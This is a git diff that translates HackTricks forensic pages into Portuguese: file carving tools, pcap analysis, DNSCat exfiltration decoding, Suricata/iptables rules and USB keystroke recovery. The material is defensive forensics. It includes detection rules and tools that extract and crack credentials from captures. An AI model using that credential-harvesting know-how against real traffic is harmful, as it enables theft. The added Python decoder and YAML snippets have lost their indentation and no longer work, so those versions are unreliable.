+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
@@ -2,94 +2,86 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Carving & Recovery tools
+## Ferramentas de Carving & Recuperação
 
-More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
+Mais ferramentas em [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
 
 ### Autopsy
 
-The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files.
+A ferramenta mais comum usada em forense para extrair arquivos de imagens é [**Autopsy**](https://www.autopsy.com/download/). Baixe, instale e faça com que ela processe o arquivo para encontrar arquivos "ocultos". Note que o Autopsy é projetado para suportar imagens de disco e outros tipos de imagens, mas não arquivos simples.
 
 ### Binwalk 
 
-**Binwalk** is a tool for analyzing binary files to find embedded content. It's installable via `apt` and its source is on [GitHub](https://github.com/ReFirmLabs/binwalk).
-
-**Useful commands**:
+**Binwalk** é uma ferramenta para analisar arquivos binários para encontrar conteúdo embutido. É instalável via `apt` e seu código-fonte está no [GitHub](https://github.com/ReFirmLabs/binwalk).
 
+**Comandos úteis**:
 ```bash
 sudo apt install binwalk #Insllation
 binwalk file #Displays the embedded data in the given file
 binwalk -e file #Displays and extracts some files from the given file
 binwalk --dd ".*" file #Displays and extracts all files from the given file
 ```
-
 ### Foremost
 
-Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types.
-
+Outra ferramenta comum para encontrar arquivos ocultos é **foremost**. Você pode encontrar o arquivo de configuração do foremost em `/etc/foremost.conf`. Se você quiser apenas procurar por alguns arquivos específicos, descomente-os. Se você não descomentar nada, o foremost irá procurar pelos tipos de arquivo configurados por padrão.
 ```bash
 sudo apt-get install foremost
 foremost -v -i file.img -o output
 #Discovered files will appear inside the folder "output"
 ```
-
 ### **Scalpel**
 
-**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract.
-
+**Scalpel** é outra ferramenta que pode ser usada para encontrar e extrair **arquivos incorporados em um arquivo**. Neste caso, você precisará descomentar no arquivo de configuração (_/etc/scalpel/scalpel.conf_) os tipos de arquivo que deseja que ele extraia.
 ```bash
 sudo apt-get install scalpel
 scalpel file.img -o output
 ```
-
 ### Bulk Extractor
 
-This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
-
-This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do:
+Esta ferramenta vem dentro do kali, mas você pode encontrá-la aqui: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
 
+Esta ferramenta pode escanear uma imagem e **extrair pcaps** dentro dela, **informações de rede (URLs, domínios, IPs, MACs, e-mails)** e mais **arquivos**. Você só precisa fazer:
 ```
 bulk_extractor memory.img -o out_folder
 ```
-
-Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**).
+Navegue por **todas as informações** que a ferramenta coletou (senhas?), **analise** os **pacotes** (leia[ **análise de Pcaps**](../pcap-inspection/)), procure por **domínios estranhos** (domínios relacionados a **malware** ou **inexistentes**).
 
 ### PhotoRec
 
-You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
+Você pode encontrá-lo em [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
 
-It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for.
+Ele vem com versões GUI e CLI. Você pode selecionar os **tipos de arquivo** que deseja que o PhotoRec procure.
 
 ![](<../../../images/image (242).png>)
 
 ### binvis
 
-Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/).
+Verifique o [código](https://code.google.com/archive/p/binvis/) e a [página da ferramenta](https://binvis.io/#/).
 
-#### Features of BinVis
+#### Recursos do BinVis
 
-- Visual and active **structure viewer**
-- Multiple plots for different focus points
-- Focusing on portions of a sample
-- **Seeing stings and resources**, in PE or ELF executables e. g.
-- Getting **patterns** for cryptanalysis on files
-- **Spotting** packer or encoder algorithms
-- **Identify** Steganography by patterns
-- **Visual** binary-diffing
+- Visual e ativo **visualizador de estrutura**
+- Múltiplos gráficos para diferentes pontos de foco
+- Foco em porções de uma amostra
+- **Visualizando strings e recursos**, em executáveis PE ou ELF, por exemplo.
+- Obtendo **padrões** para criptoanálise em arquivos
+- **Identificando** algoritmos de empacotamento ou codificação
+- **Identificar** Esteganografia por padrões
+- **Diferença** visual binária
 
-BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario.
+BinVis é um ótimo **ponto de partida para se familiarizar com um alvo desconhecido** em um cenário de black-boxing.
 
-## Specific Data Carving Tools
+## Ferramentas Específicas de Carving de Dados
 
 ### FindAES
 
-Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker.
+Procura por chaves AES pesquisando por seus cronogramas de chaves. Capaz de encontrar chaves de 128, 192 e 256 bits, como as usadas pelo TrueCrypt e BitLocker.
 
-Download [here](https://sourceforge.net/projects/findaes/).
+Baixe [aqui](https://sourceforge.net/projects/findaes/).
 
-## Complementary tools
+## Ferramentas Complementares
 
-You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\
-You can use the linux command line tool **pdftotext** to transform a pdf into text and read it.
+Você pode usar [**viu** ](https://github.com/atanunq/viu) para ver imagens a partir do terminal.\
+Você pode usar a ferramenta de linha de comando linux **pdftotext** para transformar um pdf em texto e lê-lo.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md
index c16bee711..0dc919e0e 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md
@@ -1,33 +1,27 @@
-# Pcap Inspection
+# Inspeção de Pcap
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

-
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
-
-{% embed url="https://www.rootedcon.com/" %}
-
 > [!NOTE]
-> A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools.
+> Uma nota sobre **PCAP** vs **PCAPNG**: existem duas versões do formato de arquivo PCAP; **PCAPNG é mais novo e não é suportado por todas as ferramentas**. Você pode precisar converter um arquivo de PCAPNG para PCAP usando o Wireshark ou outra ferramenta compatível, a fim de trabalhá-lo em algumas outras ferramentas.
 
-## Online tools for pcaps
+## Ferramentas online para pcaps
 
-- If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
-- Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com)
-- Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
-- **Full pcap analysis from the browser in** [**https://apackets.com/**](https://apackets.com/)
+- Se o cabeçalho do seu pcap estiver **corrompido**, você deve tentar **corrigi-lo** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
+- Extraia **informações** e procure por **malware** dentro de um pcap em [**PacketTotal**](https://packettotal.com)
+- Procure por **atividade maliciosa** usando [**www.virustotal.com**](https://www.virustotal.com) e [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
+- **Análise completa de pcap a partir do navegador em** [**https://apackets.com/**](https://apackets.com/)
 
-## Extract Information
+## Extrair Informações
 
-The following tools are useful to extract statistics, files, etc.
+As seguintes ferramentas são úteis para extrair estatísticas, arquivos, etc.
 
 ### Wireshark
 
 > [!NOTE]
-> **If you are going to analyze a PCAP you basically must to know how to use Wireshark**
+> **Se você vai analisar um PCAP, basicamente deve saber como usar o Wireshark**
 
-You can find some Wireshark tricks in:
+Você pode encontrar algumas dicas do Wireshark em:
 
 {{#ref}}
 wireshark-tricks.md
@@ -35,115 +29,97 @@ wireshark-tricks.md
 
 ### [**https://apackets.com/**](https://apackets.com/)
 
-Pcap analysis from the browser.
+Análise de pcap a partir do navegador.
 
 ### Xplico Framework
 
-[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on.
-
-**Install**
+[**Xplico** ](https://github.com/xplico/xplico)_(apenas linux)_ pode **analisar** um **pcap** e extrair informações dele. Por exemplo, de um arquivo pcap, o Xplico extrai cada e-mail (protocolos POP, IMAP e SMTP), todo o conteúdo HTTP, cada chamada VoIP (SIP), FTP, TFTP, e assim por diante.
 
+**Instalar**
 ```bash
 sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
 sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
 sudo apt-get update
 sudo apt-get install xplico
 ```
-
-**Run**
-
+**Executar**
 ```
 /etc/init.d/apache2 restart
 /etc/init.d/xplico start
 ```
+Acesse _**127.0.0.1:9876**_ com as credenciais _**xplico:xplico**_
 
-Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_
-
-Then create a **new case**, create a **new session** inside the case and **upload the pcap** file.
+Em seguida, crie um **novo caso**, crie uma **nova sessão** dentro do caso e **faça o upload** do arquivo pcap.
 
 ### NetworkMiner
 
-Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\
-This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way.
+Como o Xplico, é uma ferramenta para **analisar e extrair objetos de pcaps**. Tem uma edição gratuita que você pode **baixar** [**aqui**](https://www.netresec.com/?page=NetworkMiner). Funciona com **Windows**.\
+Esta ferramenta também é útil para obter **outras informações analisadas** dos pacotes, a fim de saber o que estava acontecendo de uma forma **mais rápida**.
 
 ### NetWitness Investigator
 
-You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\
-This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**.
+Você pode baixar [**NetWitness Investigator daqui**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Funciona no Windows)**.\
+Esta é outra ferramenta útil que **analisa os pacotes** e organiza as informações de uma maneira útil para **saber o que está acontecendo internamente**.
 
 ### [BruteShark](https://github.com/odedshimon/BruteShark)
 
-- Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...)
-- Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
-- Build a visual network diagram (Network nodes & users)
-- Extract DNS queries
-- Reconstruct all TCP & UDP Sessions
+- Extraindo e codificando nomes de usuários e senhas (HTTP, FTP, Telnet, IMAP, SMTP...)
+- Extrair hashes de autenticação e quebrá-los usando Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
+- Construir um diagrama de rede visual (Nós e usuários da rede)
+- Extrair consultas DNS
+- Reconstruir todas as sessões TCP e UDP
 - File Carving
 
 ### Capinfos
-
 ```
 capinfos capture.pcap
 ```
-
 ### Ngrep
 
-If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters:
-
+Se você está **procurando** **algo** dentro do pcap, pode usar **ngrep**. Aqui está um exemplo usando os principais filtros:
 ```bash
 ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
 ```
-
 ### Carving
 
-Using common carving techniques can be useful to extract files and information from the pcap:
+Usar técnicas comuns de carving pode ser útil para extrair arquivos e informações do pcap:
 
 {{#ref}}
 ../partitions-file-systems-carving/file-data-carving-recovery-tools.md
 {{#endref}}
 
-### Capturing credentials
+### Capturando credenciais
 
-You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface.
+Você pode usar ferramentas como [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) para analisar credenciais de um pcap ou de uma interface ao vivo.
 
-

-
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
-
-{% embed url="https://www.rootedcon.com/" %}
-
-## Check Exploits/Malware
+## Verificar Exploits/Malware
 
 ### Suricata
 
-**Install and setup**
-
+**Instalar e configurar**
 ```
 apt-get install suricata
 apt-get install oinkmaster
 echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
 oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
 ```
-
-**Check pcap**
-
+**Verificar pcap**
 ```
 suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
 ```
-
 ### YaraPcap
 
-[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that
+[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) é uma ferramenta que
 
-- Reads a PCAP File and Extracts Http Streams.
-- gzip deflates any compressed streams
-- Scans every file with yara
-- Writes a report.txt
-- Optionally saves matching files to a Dir
+- Lê um arquivo PCAP e extrai fluxos Http.
+- gzip descomprime quaisquer fluxos comprimidos
+- Escaneia cada arquivo com yara
+- Escreve um report.txt
+- Opcionalmente salva arquivos correspondentes em um diretório
 
-### Malware Analysis
+### Análise de Malware
 
-Check if you can find any fingerprint of a known malware:
+Verifique se você consegue encontrar alguma impressão digital de um malware conhecido:
 
 {{#ref}}
 ../malware-analysis.md
@@ -151,12 +127,11 @@ Check if you can find any fingerprint of a known malware:
 
 ## Zeek
 
-> [Zeek](https://docs.zeek.org/en/master/about.html) is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting.
+> [Zeek](https://docs.zeek.org/en/master/about.html) é um analisador de tráfego de rede passivo e de código aberto. Muitos operadores usam o Zeek como um Monitor de Segurança de Rede (NSM) para apoiar investigações de atividades suspeitas ou maliciosas. O Zeek também suporta uma ampla gama de tarefas de análise de tráfego além do domínio da segurança, incluindo medição de desempenho e solução de problemas.
 
-Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are.
-
-### Connections Info
+Basicamente, os logs criados pelo `zeek` não são **pcaps**. Portanto, você precisará usar **outras ferramentas** para analisar os logs onde as **informações** sobre os pcaps estão.
 
+### Informações de Conexões
 ```bash
 #Get info about longest connections (add "grep udp" to see only udp traffic)
 #The longest connection might be of malware (constant reverse shell?)
@@ -206,9 +181,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top
 1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
 ```
-
-### DNS info
-
+### Informações DNS
 ```bash
 #Get info about each DNS request performed
 cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
@@ -225,8 +198,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
 #See top DNS domain requested with rita
 rita show-exploded-dns -H --limit 10 zeek_logs
 ```
-
-## Other pcap analysis tricks
+## Outras dicas de análise de pcap
 
 {{#ref}}
 dnscat-exfiltration.md
@@ -242,10 +214,4 @@ usb-keystrokes.md
 
 ​
 
-

-
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
-
-{% embed url="https://www.rootedcon.com/" %}
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md
index aba634f34..b935e97ce 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md
@@ -1,11 +1,10 @@
-# DNSCat pcap analysis
+# Análise de pcap do DNSCat
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-If you have pcap with data being **exfiltrated by DNSCat** (without using encryption), you can find the exfiltrated content.
-
-You only need to know that the **first 9 bytes** are not real data but are related to the **C\&C communication**:
+Se você tiver um pcap com dados sendo **exfiltrados pelo DNSCat** (sem usar criptografia), você pode encontrar o conteúdo exfiltrado.
 
+Você só precisa saber que os **primeiros 9 bytes** não são dados reais, mas estão relacionados à **comunicação C\&C**:
 ```python
 from scapy.all import rdpcap, DNSQR, DNSRR
 import struct
@@ -13,25 +12,22 @@ import struct
 f = ""
 last = ""
 for p in rdpcap('ch21.pcap'):
-	if p.haslayer(DNSQR) and not p.haslayer(DNSRR):
+if p.haslayer(DNSQR) and not p.haslayer(DNSRR):
 
-		qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".")
-		qry = ''.join(_.decode('hex') for _ in qry)[9:]
-		if last != qry:
-			print(qry)
-			f += qry
-		last = qry
+qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".")
+qry = ''.join(_.decode('hex') for _ in qry)[9:]
+if last != qry:
+print(qry)
+f += qry
+last = qry
 
 #print(f)
 ```
-
-For more information: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
+Para mais informações: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
 [https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md)
 
-There is a script that works with Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
-
+Há um script que funciona com Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
 ```
 python3 dnscat_decoder.py sample.pcap bad_domain
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md
index 4be42c696..30a13772d 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md
@@ -6,14 +6,13 @@
 
 ### Chains
 
-In iptables, lists of rules known as chains are processed sequentially. Among these, three primary chains are universally present, with additional ones like NAT being potentially supported depending on the system's capabilities.
+No iptables, listas de regras conhecidas como cadeias são processadas sequencialmente. Entre elas, três cadeias principais estão universalmente presentes, com outras como NAT sendo potencialmente suportadas dependendo das capacidades do sistema.
 
-- **Input Chain**: Utilized for managing the behavior of incoming connections.
-- **Forward Chain**: Employed for handling incoming connections that are not destined for the local system. This is typical for devices acting as routers, where the data received is meant to be forwarded to another destination. This chain is relevant primarily when the system is involved in routing, NATing, or similar activities.
-- **Output Chain**: Dedicated to the regulation of outgoing connections.
-
-These chains ensure the orderly processing of network traffic, allowing for the specification of detailed rules governing the flow of data into, through, and out of a system.
+- **Input Chain**: Utilizada para gerenciar o comportamento das conexões de entrada.
+- **Forward Chain**: Empregada para lidar com conexões de entrada que não são destinadas ao sistema local. Isso é típico para dispositivos que atuam como roteadores, onde os dados recebidos devem ser encaminhados para outro destino. Esta cadeia é relevante principalmente quando o sistema está envolvido em roteamento, NATing ou atividades similares.
+- **Output Chain**: Dedicada à regulação das conexões de saída.
 
+Essas cadeias garantem o processamento ordenado do tráfego de rede, permitindo a especificação de regras detalhadas que governam o fluxo de dados para dentro, através e fora de um sistema.
 ```bash
 # Delete all rules
 iptables -F
@@ -50,11 +49,9 @@ iptables-save > /etc/sysconfig/iptables
 ip6tables-save > /etc/sysconfig/ip6tables
 iptables-restore < /etc/sysconfig/iptables
 ```
-
 ## Suricata
 
-### Install & Config
-
+### Instalação e Configuração
 ```bash
 # Install details from: https://suricata.readthedocs.io/en/suricata-6.0.0/install.html#install-binary-packages
 # Ubuntu
@@ -64,7 +61,7 @@ apt-get install suricata
 
 # Debian
 echo "deb http://http.debian.net/debian buster-backports main" > \
-    /etc/apt/sources.list.d/backports.list
+/etc/apt/sources.list.d/backports.list
 apt-get update
 apt-get install suricata -t buster-backports
 
@@ -80,7 +77,7 @@ suricata-update
 ## To use the dowloaded rules update the following line in /etc/suricata/suricata.yaml
 default-rule-path: /var/lib/suricata/rules
 rule-files:
-  - suricata.rules
+- suricata.rules
 
 # Run
 ## Add rules in /etc/suricata/rules/suricata.rules
@@ -92,7 +89,7 @@ suricata -c /etc/suricata/suricata.yaml -i eth0
 suricatasc -c ruleset-reload-nonblocking
 ## or set the follogin in /etc/suricata/suricata.yaml
 detect-engine:
-  - rule-reload: true
+- rule-reload: true
 
 # Validate suricata config
 suricata -T -c /etc/suricata/suricata.yaml -v
@@ -101,8 +98,8 @@ suricata -T -c /etc/suricata/suricata.yaml -v
 ## Config drop to generate alerts
 ## Search for the following lines in /etc/suricata/suricata.yaml and remove comments:
 - drop:
-    alerts: yes
-    flows: all
+alerts: yes
+flows: all
 
 ## Forward all packages to the queue where suricata can act as IPS
 iptables -I INPUT -j NFQUEUE
@@ -120,76 +117,70 @@ Type=simple
 
 systemctl daemon-reload
 ```
+### Definições de Regras
 
-### Rules Definitions
-
-[From the docs:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) A rule/signature consists of the following:
-
-- The **action**, determines what happens when the signature matches.
-- The **header**, defines the protocol, IP addresses, ports and direction of the rule.
-- The **rule options**, define the specifics of the rule.
+[Dos docs:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) Uma regra/sigla consiste nos seguintes elementos:
 
+- A **ação**, determina o que acontece quando a sigla corresponde.
+- O **cabeçalho**, define o protocolo, endereços IP, portas e a direção da regra.
+- As **opções da regra**, definem os detalhes específicos da regra.
 ```bash
 alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP GET Request Containing Rule in URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule"; fast_pattern; classtype:bad-unknown; sid:123; rev:1;)
 ```
+#### **Ações válidas são**
 
-#### **Valid actions are**
+- alert - gerar um alerta
+- pass - parar a inspeção adicional do pacote
+- **drop** - descartar pacote e gerar alerta
+- **reject** - enviar erro RST/ICMP inatingível para o remetente do pacote correspondente.
+- rejectsrc - o mesmo que apenas _reject_
+- rejectdst - enviar pacotes de erro RST/ICMP para o receptor do pacote correspondente.
+- rejectboth - enviar pacotes de erro RST/ICMP para ambos os lados da conversa.
 
-- alert - generate an alert
-- pass - stop further inspection of the packet
-- **drop** - drop packet and generate alert
-- **reject** - send RST/ICMP unreachable error to the sender of the matching packet.
-- rejectsrc - same as just _reject_
-- rejectdst - send RST/ICMP error packet to the receiver of the matching packet.
-- rejectboth - send RST/ICMP error packets to both sides of the conversation.
+#### **Protocolos**
 
-#### **Protocols**
-
-- tcp (for tcp-traffic)
+- tcp (para tráfego tcp)
 - udp
 - icmp
-- ip (ip stands for ‘all’ or ‘any’)
-- _layer7 protocols_: http, ftp, tls, smb, dns, ssh... (more in the [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html))
+- ip (ip significa ‘todos’ ou ‘qualquer’)
+- _protocolos de camada 7_: http, ftp, tls, smb, dns, ssh... (mais em [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html))
 
-#### Source and Destination Addresses
+#### Endereços de Origem e Destino
 
-It supports IP ranges, negations and a list of addresses:
+Suporta intervalos de IP, negações e uma lista de endereços:
 
-| Example                       | Meaning                                  |
+| Exemplo                       | Significado                              |
 | ----------------------------- | ---------------------------------------- |
-| ! 1.1.1.1                     | Every IP address but 1.1.1.1             |
-| !\[1.1.1.1, 1.1.1.2]          | Every IP address but 1.1.1.1 and 1.1.1.2 |
-| $HOME_NET                     | Your setting of HOME_NET in yaml         |
-| \[$EXTERNAL\_NET, !$HOME_NET] | EXTERNAL_NET and not HOME_NET            |
-| \[10.0.0.0/24, !10.0.0.5]     | 10.0.0.0/24 except for 10.0.0.5          |
+| ! 1.1.1.1                     | Todo endereço IP, exceto 1.1.1.1        |
+| !\[1.1.1.1, 1.1.1.2]          | Todo endereço IP, exceto 1.1.1.1 e 1.1.1.2 |
+| $HOME_NET                     | Sua configuração de HOME_NET em yaml     |
+| \[$EXTERNAL\_NET, !$HOME_NET] | EXTERNAL_NET e não HOME_NET              |
+| \[10.0.0.0/24, !10.0.0.5]     | 10.0.0.0/24, exceto 10.0.0.5            |
 
-#### Source and Destination Ports
+#### Portas de Origem e Destino
 
-It supports port ranges, negations and lists of ports
+Suporta intervalos de portas, negações e listas de portas
 
-| Example         | Meaning                                |
+| Exemplo         | Significado                            |
 | --------------- | -------------------------------------- |
-| any             | any address                            |
-| \[80, 81, 82]   | port 80, 81 and 82                     |
-| \[80: 82]       | Range from 80 till 82                  |
-| \[1024: ]       | From 1024 till the highest port-number |
-| !80             | Every port but 80                      |
-| \[80:100,!99]   | Range from 80 till 100 but 99 excluded |
-| \[1:80,!\[2,4]] | Range from 1-80, except ports 2 and 4  |
+| any             | qualquer endereço                      |
+| \[80, 81, 82]   | porta 80, 81 e 82                     |
+| \[80: 82]       | Intervalo de 80 até 82                 |
+| \[1024: ]       | De 1024 até o maior número de porta    |
+| !80             | Toda porta, exceto 80                  |
+| \[80:100,!99]   | Intervalo de 80 até 100, mas 99 excluído |
+| \[1:80,!\[2,4]] | Intervalo de 1-80, exceto portas 2 e 4  |
 
-#### Direction
-
-It's possible to indicate the direction of the communication rule being applied:
+#### Direção
 
+É possível indicar a direção da regra de comunicação sendo aplicada:
 ```
 source -> destination
 source <> destination  (both directions)
 ```
+#### Palavras-chave
 
-#### Keywords
-
-There are **hundreds of options** available in Suricata to search for the **specific packet** you are looking for, here it will be mentioned if something interesting is found. Check the [**documentation** ](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)for more!
-
+Existem **centenas de opções** disponíveis no Suricata para procurar o **pacote específico** que você está procurando, aqui será mencionado se algo interessante for encontrado. Confira a [**documentação** ](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html) para mais!
 ```bash
 # Meta Keywords
 msg: "description"; #Set a description to the rule
@@ -230,5 +221,4 @@ drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;)
 ## Drop by port
 drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;)
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md
index 782e405aa..7364b989b 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md
@@ -2,18 +2,16 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-If you have a pcap containing the communication via USB of a keyboard like the following one:
+Se você tiver um pcap contendo a comunicação via USB de um teclado como o seguinte:
 
 ![](<../../../images/image (962).png>)
 
-You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/TeamRocketIst/ctf-usb-keyboard-parser) to get what was written in the communication:
-
+Você pode usar a ferramenta [**ctf-usb-keyboard-parser**](https://github.com/TeamRocketIst/ctf-usb-keyboard-parser) para obter o que foi escrito na comunicação:
 ```bash
 tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
 python3 usbkeyboard.py ./keystrokes.txt
 ```
-
-You can read more information and find some scripts about how to analyse this in:
+Você pode ler mais informações e encontrar alguns scripts sobre como analisar isso em:
 
 - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
 - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
